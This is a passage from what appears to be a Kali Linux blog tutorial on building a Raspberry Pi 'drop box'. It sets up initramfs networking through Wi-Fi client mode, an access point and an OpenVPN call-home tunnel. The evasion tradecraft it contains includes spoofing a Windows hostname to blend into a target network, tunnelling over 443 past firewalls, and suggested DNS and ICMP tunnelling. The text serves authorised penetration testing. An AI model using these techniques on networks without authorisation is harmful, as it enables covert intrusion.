When we read the man page for modinfo, we see that it offers the -F flag to limit the output to certain fields. Since we currently care about the dependencies, let’s re-run modinfo passing -F depends since that is what we want to know.

To make it easier to understand the output, we will not group multiple modules together:

kali@kalipi:~$ modinfo -F depends brcmfmac
brcmutil,cfg80211

So in our case, the brcmfmac module depends on both brcmutil, and cfg80211. So we run modinfo on both of those as well to see their dependencies, if any:

kali@kalipi:~$ modinfo -F depends brcmutil
kali@kalipi:~$

Notice that the line is empty. This means that brcmutil does not have any additional module dependencies.

Now we check cfg80211, the other dependency that was listed:

kali@kalipi:~$ modinfo -F depends cfg80211
rfkill

Here we see that cfg80211’s depends has an additional dependency on the rfkill module. So we run modinfo against it as well:

kali@kalipi:~$ modinfo -F depends rfkill
kali@kalipi:~$

Like brcmutil, rfkill does not have any output, so there are no dependencies. We now have our list of modules that we need to add to the initramfs:

brcmfmac
brcmutil
cfg80211
rfkill

Wi-Fi Firmware

We now need the firmware for the Wi-Fi card. As before, we use the modinfo command, but this time we will search for firmware to see what firmware the module can use:

kali@kalipi:~$ modinfo brcmfmac | grep firmware
firmware: brcm/brcmfmac*-sdio.*.bin
firmware: brcm/brcmfmac*-sdio.*.txt
[...]

On Linux systems, the default firmware search path is /lib/firmware/ so the full path to the above would be:

/lib/firmware/brcmfmac*-sdio.*.bin
/lib/firmware/brcmfmac*-sdio.*.txt

Notice the wildcards (*) in the firmware names. This means that it will match any of those files, so we will simply include all of the firmware that is in /lib/firmware/brcm, and this would allow for using wireless on not just our current Raspberry Pi 4, but if we were to plug our secure Kali Pi SD Card into a Raspberry Pi 3, or maybe even the Raspberry Pi Zero 2 W, we would be able to get wireless on them as well.

Binaries

Lastly we need the the binaries that are used for connecting to wireless networks on Linux.

A typical Kali installation has NetworkManager installed, and that handles wireless networks for us in a graphical desktop environment. But since we are doing this long before the full Kali system is available we need the wpa_supplicant binary, from the wpasupplicant package.

Additionally, we will want to check we are online in our script using the wpa_cli command, which will include that as well.

Change The Hostname

By default, Kali images for our Raspberry Pi images are set to the hostname of kali-raspberry-pi. Keeping in mind that some environments have hostname policies, you might want to change the hostname to blend in with the target network better.

To change your hostname, you will want to run the command hostnamectl from the systemd package. Additionally, we will want to edit the /etc/hosts file, which the system uses for local name resolution.

As an example, if we were to be deploying in a Windows heavy environment, we might want to use a host name similar to what a Windows machine might use:

kali@kalipi:~$ sudo hostnamectl set-hostname DESKTOP-UL8M7HT
kali@kalipi:~$
kali@kalipi:~$ hostnamectl
Static hostname: DESKTOP-UL8M7HT
Icon name: computer
Machine ID: fb22604534b6499887f59dd16c7dfb7f
Boot ID: faa8f7e4d50e495faf34ab43a2cf86ba
Operating System: Kali GNU/Linux Rolling
Kernel: Linux 5.15.44-Re4son-v8+
Architecture: arm64

And then edit the /etc/hosts file as well, changing the line that has kali-raspberry-pi in it to be DESKTOP-UL8M7HT:

127.0.1.1 DESKTOP-UL8M7HT
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

You will need to reboot the system for the changes to take effect.

Wi-Fi Connection

Like we did with secure Kali Pi, we need to make changes to our system, using the information we gathered above, to boot the system, handle the Wi-Fi network, making the device accessible.

Client Mode

We already know what the wireless network(s) credentials are, and now we are going to join them.

First up is the initramfs hook for the Wi-Fi firmware.

We will create the file /etc/initramfs-tools/hooks/zz-brcm and add the following:

#!/bin/sh
set -e
PREREQ=""
prereqs()
{
echo "${PREREQ}"
}
case "${1}" in
prereqs)
prereqs
exit 0
;;
esac
. /usr/share/initramfs-tools/hook-functions
echo "Copying firmware files for brcm to initramfs"
cp -r /lib/firmware/brcm ${DESTDIR}/lib/firmware/

Next, we will do the hook for the modules and wpa_supplicant files we need. We will use /etc/initramfs-tools/hooks/enable-wireless which contains:

#!/bin/sh
set -e
PREREQ=""
prereqs()
{
echo "${PREREQ}"
}
case "${1}" in
prereqs)
prereqs
exit 0
;;
esac
. /usr/share/initramfs-tools/hook-functions
# Add Wi-Fi drivers
WIFI_DRIVERS="brcmfmac brcmutil cfg80211 rfkill"
for x in ${WIFI_DRIVERS}; do
manual_add_modules ${x}
done
copy_exec /sbin/wpa_supplicant
copy_exec /sbin/wpa_cli
copy_file config /etc/initramfs-tools/wpa_supplicant.conf /etc/wpa_supplicant.conf

So now that we have our hooks that copy the Wi-Fi firmware, modules, and wpa_suppliant files, we need to write a script to use them in the initramfs.

One important thing to note about scripts in an initramfs, is that there is no guarantee on the order, so we create it with the name a_enable_wireless so that alphabetically it should be the first script that gets run.

The file /etc/initramfs-tools/scripts/init-premount/a_enable_wireless looks like:

#!/bin/sh
set -e
PREREQ=""
prereqs()
{
echo "${PREREQ}"
}
case "${1}" in
prereqs)
prereqs
exit 0
;;
esac
. /scripts/functions
WIFI_INTERFACE="wlan0"
alias WPACLI="/sbin/wpa_cli -p/tmp/wpa_supplicant -i${WIFI_INTERFACE}"
log_begin_msg "Sleeping for 5 seconds to allow WLAN interface to become ready"
sleep 5
log_end_msg
log_begin_msg "Starting WLAN connection"
/sbin/wpa_supplicant -i${WIFI_INTERFACE} -c/etc/wpa_supplicant.conf -P/run/initram-wpa_supplicant.pid -B -f /tmp/wpa_supplicant.log
# Wait for AUTH_LIMIT seconds, then check the status
AUTH_LIMIT=60
echo -n "Waiting for connection (max ${AUTH_LIMIT} seconds)"
while [ $AUTH_LIMIT -ge 0 -a $(WPACLI status | grep wpa_state) != "wpa_state=COMPLETED" ]
do
sleep 1
echo -n "."
AUTH_LIMIT=$(expr $AUTH_LIMIT - 1)
done
echo ""
if [ $(WPACLI status | grep wpa_state) != "wpa_state=COMPLETED" ]; then
ONLINE=0
log_failure_msg "WLAN offline after timeout"
echo
panic
else
ONLINE=1
log_success_msg "WLAN online"
echo
fi
configure_networking

Additionally, we need to kill the networking once we are booted, so that the actual system can use the device and connect properly.

This script /etc/initramfs-tools/scripts/local-bottom/kill_wireless is made up with:

#!/bin/sh
set -e
PREREQ=""
prereqs()
{
echo "${PREREQ}"
}
case "$1" in
prereqs)
prereqs
exit 0
;;
esac
echo "Killing wpa_supplicant so the system takes over later"
kill $(cat /run/initram-wpa_supplicant.pid)

As a reminder, scripts need to be executable if you want them to run. Additionally, if a hook is not marked as executable, initramfs-tools will skip that hook when running update-initramfs:

kali@kalipi:~$ sudo chmod +x /etc/initramfs-tools/hooks/zz-brcm
kali@kalipi:~$ sudo chmod +x /etc/initramfs-tools/hooks/enable-wireless
kali@kalipi:~$ sudo chmod +x /etc/initramfs-tools/scripts/init-premount/a_enable_wireless
kali@kalipi:~$ sudo chmod +x /etc/initramfs-tools/scripts/local-bottom/kill_wireless

Now we use the information that we have gathered ahead of time to create our wpa_supplciant.conf file to include the SSID & PSK, and any other possible options that the Wi-Fi network connection might need. You can read more information about the file by running man wpa_supplicant.conf.

A shortcut to generating one is to simply run wpa_passphrase SSID PASSWORD where SSID is the name of the wireless network, and PASSWORD is the passphrase (aka PSK) for the network.

In this example, we are going to be connecting our Raspberry Pi to the network kali wireless with a passphrase of secure kali wireless.

If your wireless network name has spaces in it, do not forget to quote the SSID in the command!

One thing to note here, when you use wpa_passphrase to generate the PSK, it includes the passphrase in plain text. Because of this, we will strip that line out of the file, just in case if anyone else happens to come across the device and knows how to look inside an initramfs file, we do not want them seeing the plain text password to the network! And because we are using tee rather than > to write the file, we will see the file’s contents as its written:

kali@kalipi:~$ wpa_passphrase "kali wireless" "secure kali wireless" | grep -v \#psk | tee wpa_supplicant.conf

If you want to add multiple wireless networks to your wpa_supplicant.conf file, we can append the file rather than overwriting it:

kali@kalipi:~$ wpa_passphrase "kali wireless the second" "even more secure kali wireless" | grep -v \#psk | tee -a wpa_supplicant.conf

Now we copy the newly generated configuration into /etc/initramfs-tools/ as that is where our enable-wireless hook expects it to be:

kali@kalipi:~$ sudo cp -v wpa_supplicant.conf /etc/initramfs-tools/wpa_supplicant.conf

As a reminder, we covered which kernel version to use in our secure Kali Pi post, and since we used the Raspberry Pi 4, we will continue to do so here, so our kernel version is 5.15.44-Re4son-v8l+

Now that we have all the parts that we need, we simply run mkinitramfs -o /boot/initramfs.gz 5.15.44-Re4son-v8l+ to generate the initramfs file with our changes to add wireless networking.

We can also verify that our changes are in the initramfs by running lsinitramfs /boot/initramfs.gz and use grep to show the files we are looking for:

kali@kalipi:~$ mkinitramfs -o /boot/initramfs.gz 5.15.44-Re4son-v8l+
kali@kalipi:~$
kali@kalipi:~$ lsinitramfs /boot/initramfs.gz | grep -e wpa -e brcm
etc/wpa_supplicant.conf
usr/lib/firmware/brcm
usr/lib/firmware/brcm/BCM-0a5c-6410.hcd
usr/lib/firmware/brcm/BCM-0bb4-0306.hcd
usr/lib/firmware/brcm/BCM43430A1.hcd
usr/lib/firmware/brcm/BCM43430B0.hcd
usr/lib/firmware/brcm/BCM4345C0.hcd
usr/lib/firmware/brcm/BCM4345C5.hcd
usr/lib/firmware/brcm/brcmfmac43430-sdio.bin
usr/lib/firmware/brcm/brcmfmac43430-sdio.rpi.bin
usr/lib/firmware/brcm/brcmfmac43430-sdio.txt
usr/lib/firmware/brcm/brcmfmac43436-sdio.bin
usr/lib/firmware/brcm/brcmfmac43436-sdio.clm_blob
usr/lib/firmware/brcm/brcmfmac43436-sdio.txt
usr/lib/firmware/brcm/brcmfmac43436s-sdio.bin
usr/lib/firmware/brcm/brcmfmac43436s-sdio.txt
usr/lib/firmware/brcm/brcmfmac43455-sdio.bin
usr/lib/firmware/brcm/brcmfmac43455-sdio.clm_blob
usr/lib/firmware/brcm/brcmfmac43455-sdio.nexmon-7_45_154.bin
usr/lib/firmware/brcm/brcmfmac43455-sdio.nexmon-7_45_189.bin
usr/lib/firmware/brcm/brcmfmac43455-sdio.nexmon-7_45_206.bin
usr/lib/firmware/brcm/brcmfmac43455-sdio.rpi.bin
usr/lib/firmware/brcm/brcmfmac43455-sdio.txt
usr/lib/firmware/brcm/brcmfmac43456-sdio.bin
usr/lib/firmware/brcm/brcmfmac43456-sdio.clm_blob
usr/lib/firmware/brcm/brcmfmac43456-sdio.txt
usr/lib/modules/5.15.44-Re4son-v8l+/kernel/drivers/i2c/busses/i2c-brcmstb.ko
usr/lib/modules/5.15.44-Re4son-v8l+/kernel/drivers/net/wireless/broadcom/brcm80211
usr/lib/modules/5.15.44-Re4son-v8l+/kernel/drivers/net/wireless/broadcom/brcm80211/brcmfmac
usr/lib/modules/5.15.44-Re4son-v8l+/kernel/drivers/net/wireless/broadcom/brcm80211/brcmfmac/brcmfmac.ko
usr/lib/modules/5.15.44-Re4son-v8l+/kernel/drivers/net/wireless/broadcom/brcm80211/brcmutil
usr/lib/modules/5.15.44-Re4son-v8l+/kernel/drivers/net/wireless/broadcom/brcm80211/brcmutil/brcmutil.ko
usr/sbin/wpa_cli
usr/sbin/wpa_supplicant

As we can see from the output, our initramfs has our modules, firmware, and wpa_supplicant files for the Wi-Fi chip the Raspberry Pi 4 uses!

If you are only interested in using the Raspberry Pi as a Wi-Fi client, you can stop here, and unmount everything like we did in our secure Kali Pi blog post.

Static IP

If we want to connect to a wireless network and set a static IP, we need to do similar to above. Adding in the wpa_supplicant files, but now we set the IP manually in the /boot/cmdline.txt file, which is what the Raspberry Pi uses for the kernel command line arguments:

ip=<client-ip>:<server-ip>:<gw-ip>:<netmask>:<hostname>:<device>:<autoconf>:<dns0-ip>:<dns1-ip>:<ntp0-ip>

For more information, see the nfsroot kernel documentation.

The important thing is to set the options we need, and leave empty the ones we do not. The default cmdline.txt has the following in it:

kali@kalipi:~$ cat /boot/cmdline.txt
console=serial0,115200 console=tty1 root=PARTUUID=da77a68a-02 rootfstype=ext4 fsck.repair=yes rootwait net.ifnames=0

The cmdline.txt requires everything to be on one line, so if we want to set our IP address to 192.168.42.3, with a gateway of 192.168.42.1, our hostname to securekalipi, for the wlan0 device, our /boot/cmdline.txt file will look like:

console=serial0,115200 console=tty1 root=PARTUUID=da77a68a-02 rootfstype=ext4 fsck.repair=yes rootwait net.ifnames=0 ip=192.168.42.3::192.168.42.1:255.255.255.0:securekalipi:wlan0

As the documentation states, anything that is not specified uses the default settings, so we simply skip putting anything in between the : that we want to skip.

Access Point Mode

You should not use the wireless in both access point mode and client mode at the same time. It is possible, however the networks need to be on the same channels, and we do not cover this in order to keep the blog post simple. You should only use client mode, or access point mode, but not both from this blog post. We will talk about this again at the end of the blog post.

Similarly to how we set up connecting our Raspberry Pi to a wireless network as a client, if we want to set it up as an access point to connect to, we need to add into the initramfs. Like last time, our Wi-Fi drivers, the firmware just this time, its different software and configurations.

The package you would use on Linux to set up an access point is hostapd which does not come installed by default, so we will install it first.

As always, before we install software, we update what packages are available to ensure we are installing the newest version:

kali@kalipi:~$ sudo apt update
Hit:1 http://http.re4son-kernel.com/re4son kali-pi InRelease
Hit:2 http://kali.download/kali kali-rolling InRelease
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
All packages are up to date.
kali@kalipi:~$
kali@kalipi:~$ sudo apt install hostapd
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
hostapd
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
[...]

Now we will set it up and test it, to make sure everything works, before we add it to our initramfs to use:

kali@kalipi:~$ sudo vim /etc/hostapd/hostapd.conf

Our configuration will have us create a network on channel 7, with a network name of SecureKaliPi, and a password of SecureKaliPiWiFi.

To use WPA2 the passphrase should be between 8 and 64 characters in length.

country_code=US
interface=wlan0
ssid=SecureKaliPi
hw_mode=g
channel=7
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_psk=16270ab793c4420e0c3dd6bf46ede4f10bd71ffbe6a79998dc70ccd8dea18680
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP

The PSK is a value derived from the SSID of the network and the password. The easiest way to get this is very similar to the way we created the wpa_supplicant.conf file above - we run wpa_passphrase SecureKaliPi SecureKaliPiWiFi and then we copy the psk line that is not the plaintext password:

kali@kali:~$ wpa_passphrase SecureKaliPi SecureKaliPiWiFi
network={
ssid="SecureKaliPi"
#psk="SecureKaliPiWiFi"
psk=16270ab793c4420e0c3dd6bf46ede4f10bd71ffbe6a79998dc70ccd8dea18680
}

You can, and should, change the configuration to match your needs. If you would like to set it up to use 5GHz, you would need to change hw_mode=g to hw_mode=a, but keep in mind that if you are using 5GHz you need to change the channel. Wikipedia has a list of allowed combinations for different countries.

One setting you may want to change as well, is the ignore_broadcast_ssid setting.

If we read the default configuration file, we can see that this option is what will allow us to hide our SSID from being broadcast:

# Send empty SSID in beacons and ignore probe request frames that do not
# specify full SSID, i.e., require stations to know SSID.
# default: disabled (0)
# 1 = send empty (length=0) SSID in beacon and ignore probe request for
# broadcast SSID
# 2 = clear SSID (ASCII 0), but keep the original length (this may be required
# with some clients that do not support empty SSID) and ignore probe
# requests for broadcast SSID
ignore_broadcast_ssid=0

Now that we have written our hostapd.conf we can quickly test if it works by running:

kali@kalipi:~$ sudo /usr/sbin/hostapd /etc/hostapd/hostapd.conf
wlan0: interface state UNINITIALIZED->COUNTRY_UPDATE
wlan0: interface state COUNTRY_UPDATE->ENABLED
wlan0: AP-ENABLED

If everything is set up correctly, you should see the above output. If you get any errors, you will need to correct those and re-run the command.

Now that hostapd is set up, and we have tested that it works, lets add it to our initramfs.

Because we need to add some binaries to the initramfs, we also need to include any dependencies that may be needed. So first we check which binary we need:

kali@kalipi:~$ dpkg -L hostapd | grep bin
/usr/sbin
/usr/sbin/hostapd
/usr/sbin/hostapd_cli

We need the hostapd binary, and to check its dependencies we will run ldd which tells us what libraries the binary depends on:

kali@kalipi:~$ ldd /usr/sbin/hostapd
linux-vdso.so.1 (0x0000007f89561000)
libnl-3.so.200 => /lib/aarch64-linux-gnu/libnl-3.so.200 (0x0000007f892e2000)
libnl-genl-3.so.200 => /lib/aarch64-linux-gnu/libnl-genl-3.so.200 (0x0000007f892c1000)
libnl-route-3.so.200 => /lib/aarch64-linux-gnu/libnl-route-3.so.200 (0x0000007f89219000)
libdl.so.2 => /lib/aarch64-linux-gnu/libdl.so.2 (0x0000007f891f8000)
libssl.so.3 => /lib/aarch64-linux-gnu/libssl.so.3 (0x0000007f89144000)
libcrypto.so.3 => /lib/aarch64-linux-gnu/libcrypto.so.3 (0x0000007f88cfe000)
libm.so.6 => /lib/aarch64-linux-gnu/libm.so.6 (0x0000007f88c5d000)
libc.so.6 => /lib/aarch64-linux-gnu/libc.so.6 (0x0000007f88aaf000)
/lib/ld-linux-aarch64.so.1 (0x0000007f89524000)

Because hostapd also uses iw to control its interfaces, we need to also include it. And like above, we want to check the dependencies it uses:

kali@kalipi:~$ ldd /usr/sbin/iw
linux-vdso.so.1 (0x0000007fba486000)
libnl-genl-3.so.200 => /lib/aarch64-linux-gnu/libnl-genl-3.so.200 (0x0000007fba3c0000)
libnl-3.so.200 => /lib/aarch64-linux-gnu/libnl-3.so.200 (0x0000007fba37f000)
libc.so.6 => /lib/aarch64-linux-gnu/libc.so.6 (0x0000007fba1d1000)
/lib/ld-linux-aarch64.so.1 (0x0000007fba449000)

As we can see, hostapd and iw rely on a number of libraries that will need to be in the initramfs.

So we create a hook to include hostapd with these additional libraries so the hostapd and iw binaries can run, /etc/initramfs-tools/hooks/hostapd:

#!/bin/sh
set -e
PREREQ=""
prereqs()
{
echo "${PREREQ}"
}
case "${1}" in
prereqs)
prereqs
exit 0
;;
esac
. /usr/share/initramfs-tools/hook-functions
copy_exec /usr/sbin/hostapd /sbin
copy_exec /usr/sbin/iw
# Find our library directory and copy files from there
LIBC_DIR=$(ldd /usr/sbin/hostapd | sed -nr 's#.* => (/lib.*)/libc\.so\.[0-9.-]+ \(0x[[:xdigit:]]+\)$#\1#p')
find -L "$LIBC_DIR" -maxdepth 1 -name 'libnss_files.*' -type f | while read so; do
copy_exec "$so"
done
# Copy in the libnl librares that hostapd and iw depend on
copy_exec "/lib/aarch64-linux-gnu/libnl-route-3.so.200"
copy_exec "/lib/aarch64-linux-gnu/libnl-genl-3.so.200"
copy_exec "/lib/aarch64-linux-gnu/libnl-3.so.200"
# Copy our hostapd.conf file
copy_file config /etc/hostapd/hostapd.conf /etc/hostapd
# Add Wi-Fi drivers
WIFI_DRIVERS="brcmfmac brcmutil cfg80211 rfkill"
for x in ${WIFI_DRIVERS}; do
manual_add_modules ${x}
done
# Add Wi-Fi firmware
echo "Copying firmware files for brcm to initramfs"
cp -r /lib/firmware/brcm ${DESTDIR}/lib/firmware/

Now we add our script, which sets our IP address (192.168.42.1/24) for the access point as well as makes hostapd, and DHCP server run, /etc/initramfs-tools/scripts/init-premount/hostapd. We will address the networking side after this script:

#!/bin/sh
set -e
PREQ="udev network"
prereqs() {
echo "$PREREQ"
}
case "$1" in
prereqs)
prereqs
exit 0
;;
esac
run_hostapd() {
ifconfig wlan0 up
ifconfig wlan0 192.168.42.1 netmask 255.255.255.0 broadcast 192.168.42.255
route add 192.168.42.0/24 dev wlan0
exec udhcpd /etc/udhcpd.conf
exec /sbin/hostapd /etc/hostapd/hostapd.conf
}
. /scripts/functions
sleep 10
run_hostapd &
echo $! >/run/hostapd.pid

Additionally, we want to start a DHCP server so that when we connect to the Raspberry Pi’s access point, we get an IP address. Normally, you would use a package like isc-dhcp-server to run a DHCP server, but since we have already got busybox which has a DHCP server applet enabled in the initramfs, we will just use that instead. We do not need a fully featured DHCP server just to unlock our Raspberry Pi and let it finish booting.

First we set up the configuration file for it /etc/udhcpd.conf with the following information:

start 192.168.42.2 # IP address range to give out
end 192.168.42.100 # Last IP address to give out
interface wlan0 # Device that the DHCP server listens on
remaining yes #
opt router 192.168.42.1 # The Raspberry Pi's IP address to use on wlan0
opt subnet 255.255.255.0 #
opt dns 8.8.8.8 4.2.2.2 # DNS servers to pass (not really required for our needs)
opt lease 600 # 10 minute DHCP lease

And we create our hook which copies in our DHCP config, /etc/initramfs-tools/hooks/udhcpd:

#!/bin/sh
set -e
PREREQ=""
prereqs()
{
echo "${PREREQ}"
}
case "${1}" in
prereqs)
prereqs
exit 0
;;
esac
. /usr/share/initramfs-tools/hook-functions
# Copy our hostapd.conf file
copy_file config /etc/udhcpd.conf /etc/udhcpd.conf

Like our previous hooks and scripts, we need to make sure the executable flag is set:

kali@kalipi:~$ sudo chmod +x /etc/initramfs-tools/hooks/hostapd
kali@kalipi:~$ sudo chmod +x /etc/initramfs-tools/hooks/udhcpd
kali@kalipi:~$ sudo chmod +x /etc/initramfs-tools/scripts/init-premount/hostapd

And now that everything is in place for hostapd support, we need to build the initramfs so that it has our changes in there:

kali@kalipi:~$ mkinitramfs -o /boot/initramfs.gz 5.15.44-Re4son-v8l+
kali@kalipi:~$
kali@kalipi:~$ lsinitramfs /boot/initramfs.gz | grep -e hostapd -e udhcpd
etc/hostapd
etc/udhcpd.conf
scripts/init-premount/hostapd
usr/sbin/hostapd
usr/sbin/udhcpd

Once we see all the parts are there, we are able to reboot the Raspberry Pi and we should see our Wi-Fi network from another machine.

Connect to it, and we should be able to unlock the device via SSH!

Wired Connection

By default, the wired connection on a Raspberry Pi will attempt to use DHCP to connect to a network when it is plugged in. You may want to set a static IP, we need to do similar to above, and set the IP manually in the /boot/cmdline.txt file, which is what the Raspberry Pi uses for the kernel command line arguments.

Static IP

The default /boot/cmdline.txt is set to:

kali@kalipi:~$ cat /boot/cmdline.txt
console=serial0,115200 console=tty1 root=PARTUUID=da77a68a-02 rootfstype=ext4 fsck.repair=yes rootwait net.ifnames=0

The format of /boot/cmdline.txt should look similar to:

ip=<client-ip>:<server-ip>:<gw-ip>:<netmask>:<hostname>:<device>:<autoconf>:<dns0-ip>:<dns1-ip>:<ntp0-ip>

/boot/cmdline.txt requires everything to be on one line, so if we want to set our IP address to 192.168.42.3, with a gateway of 192.168.42.1, our hostname to securekalipi, for the eth0 device, our /boot/cmdline.txt file will look like:

console=serial0,115200 console=tty1 root=PARTUUID=da77a68a-02 rootfstype=ext4 fsck.repair=yes rootwait net.ifnames=0 ip=192.168.42.3::192.168.42.1:255.255.255.0:securekalipi:eth0

As the documentation states, anything that is not specified uses the default settings, so we simply skip putting anything in between the : that we want to skip. And we tell it to use the eth0 device, as that is the default device name for ethernet on the Raspberry Pi.

VPN Tunnel

Before we go over connecting to a VPN, it is important to note that the information will be stored in the initramfs file, unencrypted. This particular use case is NOT about securing the connection, but instead using the VPN to tunnel out of the network to bypass various firewall rules. As such, this connection should be treated as if the traffic is clear text.

After we have got our device connected to the network, great! We are now wanting to remotely connect to it. Due to firewalls on the network, being able to directly SSH into the device will be next to impossible (as we cannot do port forwarding). So we are needing the device to connect back to us (bind vs reverse)! You may opt for a SSH reverse connection, where the device continuously polls back home, however, we have opted to use a VPN. You may wish to use OpenVPN, WireGuard, or something else. We have opted for OpenVPN, however we are not going to cover how to set up and secure an OpenVPN server.

Regardless of the reverse service used, network traffic may be filtered by firewall rules which may limit what services can be used. For example SSH (22/TCP) or OpenVPN (1194/UDP) default ports may not be allowed out. As a result, think of what typical end-users may often use the network for. Commonly you see a lot of web traffic, so HTTPS (443/TCP) should hopefully give a higher chance of success, such as HTTPS (443/TCP)! We will talk about this again at the end of the blog post.

If you have created a new private network by starting an access point, there is not going to be an upstream gateway configured. As a result, the VPN tunnel will not be able to connect to the internet. You will need to find another way to get online, by either using another mode (Wi-Fi client), or another interface (wired ethernet, mobile hotspot etc).

As always, to use OpenVPN before the system is booted we need our hook to copy the OpenVPN software and our client configuration in to our initramfs.

First up is the hook. This copies the software, its dependencies, and our configuration file into the initramfs. We gathered this information the same way we did with hostapd above, so we will not go over that again.

The OpenVPN hook, /etc/initramfs-tools/hooks/openvpn:

#!/bin/sh
set -e
PREREQ=""
prereqs() {
echo "$PREREQ"
}
case "$1" in
prereqs)
prereqs
exit 0
;;
esac
. /usr/share/initramfs-tools/hook-functions
[ -r /etc/crypttab ] || exit 0
copy_exec /usr/sbin/openvpn /sbin
copy_exec "/lib/aarch64-linux-gnu/libzstd.so.1"
copy_exec "/lib/aarch64-linux-gnu/libnsl.so.1"
copy_exec "/lib/aarch64-linux-gnu/liblzo2.so.2"
copy_exec "/lib/aarch64-linux-gnu/libresolv.so.2"
copy_exec "/lib/aarch64-linux-gnu/libpkcs11-helper.so.1"
copy_exec "/lib/aarch64-linux-gnu/libm.so.6"
# Copy in our configuration file and username/password files
cp -p /etc/initramfs-tools/openvpn/client/* ${DESTDIR}/etc/openvpn/client/

And then we have to add our OpenVPN script to run in the initramfs, that uses our configuration file to connect to our OpenVPN server. Because this is running before there is any way to interact with the system, we also need to be able to pass the username and password somehow. A quick check of the openvpn man page shows us:

--auth-user-pass

Authenticate with server using username/password.

Valid syntaxes:

auth-user-pass

auth-user-pass up

If up is present, it must be a file containing username/password on 2 lines. If the password line is missing, OpenVPN will prompt for > one.

If up is omitted, username/password will be prompted from the console.

The option we want is --auth-user-pass up. So we will create a file called up with our username (dropboxuser) on the first line, and password (pass123) on the second line:

kali@kalipi:~$ echo dropboxuser | sudo tee /etc/openvpn/client/up
[...]
kali@kalipi:~$ echo pass123 | sudo tee -a /etc/openvpn/client/up

If your VPN connection does not require a username/password, you can remove the --auth-user-pass /etc/openvpn/up in the vpnflags variable below.

The script, which starts OpenVPN, /etc/initramfs-tools/scripts/init-premount/openvpn:

#!/bin/sh
set -e
PREREQ="udev networking"
prereqs() {
echo "$PREREQ"
}
case "$1" in
prereqs)
prereqs
exit 0
;;
esac
[ -x /sbin/openvpn ] || exit 0
run_openvpn() {
local vpnflags="--suppress-timestamps --nobind --config /etc/openvpn/client/openvpn.conf --auth-user-pass /etc/openvpn/client/up"
log_begin_msg "Starting OpenVPN"
exec /sbin/openvpn $vpnflags
ifconfig -a
}
. /scripts/functions
sleep 40
run_openvpn &
echo $! >/run/openvpn.pid

And like with the others, we make sure our hooks and scripts are executable:

kali@kalipi:~$ sudo chmod +x /etc/initramfs-tools/hooks/openvpn
kali@kalipi:~$ sudo chmod +x /etc/initramfs-tools/scripts/init-premount/openvpn

And now that everything is in place for connecting to OpenVPN, we need to build the initramfs so that it has our changes in there:

kali@kalipi:~$ mkinitramfs -o /boot/initramfs.gz 5.15.44-Re4son-v8l+
kali@kalipi:~$
kali@kalipi:~$ lsinitramfs /boot/initramfs.gz | grep -e openvpn
etc/openvpn
etc/openvpn/client
etc/openvpn/client/up
scripts/init-premount/openvpn
usr/sbin/openvpn

Now that the initramfs is updated, and we see that our changes are in there, we are able to reboot the Raspberry Pi. Once it starts booting, and once the network connection is available, it should connect to our OpenVPN server.

You will want to test this in your home lab, before you deploy it anywhere, to make sure it’s working:

kali@kali:~$ ssh kali@172.16.20.2
The authenticity of host '172.16.20.2' can't be established.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.16.20.2' (ECDSA) to the list of known hosts.
kali@172.16.20.2's password:
Linux kali-raspberry-pi 5.15.44-Re4son-v8+ #1 SMP PREEMPT Debian kali-pi (2022-07-03) aarch64
The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
┌──(kali㉿kali-raspberry-pi)-[~]
└─$

Summary

In this blog post, we have covered gathering information about our device, in this case it was a Raspberry Pi, but the information gathering holds true for any device running Kali that you might want to unlock remotely.

We also covered setting a static IP for both wired and Wi-Fi networks, setting up an access point, and using an OpenVPN connection, these are not specific to the Raspberry Pi, aside from the firmware and module for the Wi-Fi device.

We hope you found this blog post helpful, and if you have any questions or comments, please check out the Kali Discord server.

Food for Thought

To expand on this future, some improvements which we came up with:

Rather than tunneling over OpenVPN, use other tools (such as dnscat2), ICMP (such as ptunnel) or a mixture of all three!
Encapsulate the OpenVPN traffic (such as stunnel), making it legit HTTPS data, rather than only using default port
Using WireGuard rather than OpenVPN
Mobile connectivity (using an external 3G/4G/LTE adapter)
Adding fall back method(s) - If Wi-Fi client is not working, create then a Wi-Fi access point
“WLAN Knocking” - The Raspberry Pi is monitoring for a certain SSID being broadcasted (maybe from a certain MAC address), when detected, only then perform an action

We are sure you can also think outside of the box, and come up with additional ideas too. Please tweet us your ideas, and progress with your drop box!

Additional Resources

Wi-Fi in initramfs:

Setting up hostapd:

Kali Community Themes

Mon, 24 Oct 2022 00:00:00 +0000

The following blog post was written by a moderator on the Kali Linux & Friends Discord server, Tristram. A massive thank you to Tristram for writing this blog post and to all of the participants!

This past summer we held our first community event on the Kali Linux & Friends Discord. With this event, we asked everyone who wanted to participate to share their Kali Linux setup. With each submission, the community had to select their favorite by adding the :kali4kids: emoji (Shown below). The five submissions with the most :kali4kids: emojis were deemed the winner.

The community has spoken and we are happy to showcase the following setups. The author of each setup has provided us with a little blurb to get to know them a little more, as well as their setup.

ZephyFoxy#5208

I am a senior security consultant working for a large, multinational consulting firm. I conduct pentests in a variety of different fields, and have been working in Android malware analysis for the last year. I hold the OSCP and OSEP certifications, and I will be working towards OSED and OSWE in the near future. I chose this setup for my Kali Linux because I personally prefer a colourful environment that really stands out.

The customization to the terminal comes from the need to reference my IP address for things such as reverse shells or file transfers. You can find a copy of my ~/.zshrc on my GitHub.

tachyglossues#2480

I’m a French student who likes to tinker and understand how computers work especially on the software side and I’ve been using Kali for about a year and a half.

The program I wrote works by running top to get the list of software running on the session with the RAM and CPU they use and after that a python dependency that is used to generate word clouds is used with a mask of the kali4kids logo to give the shape and colour and this mask is a simple .png file. I made this program because I like to have a wallpaper that I made and also I like minimalist wallpapers and it can be useful. You can find a copy on my GitHub.

fumenoid#9548

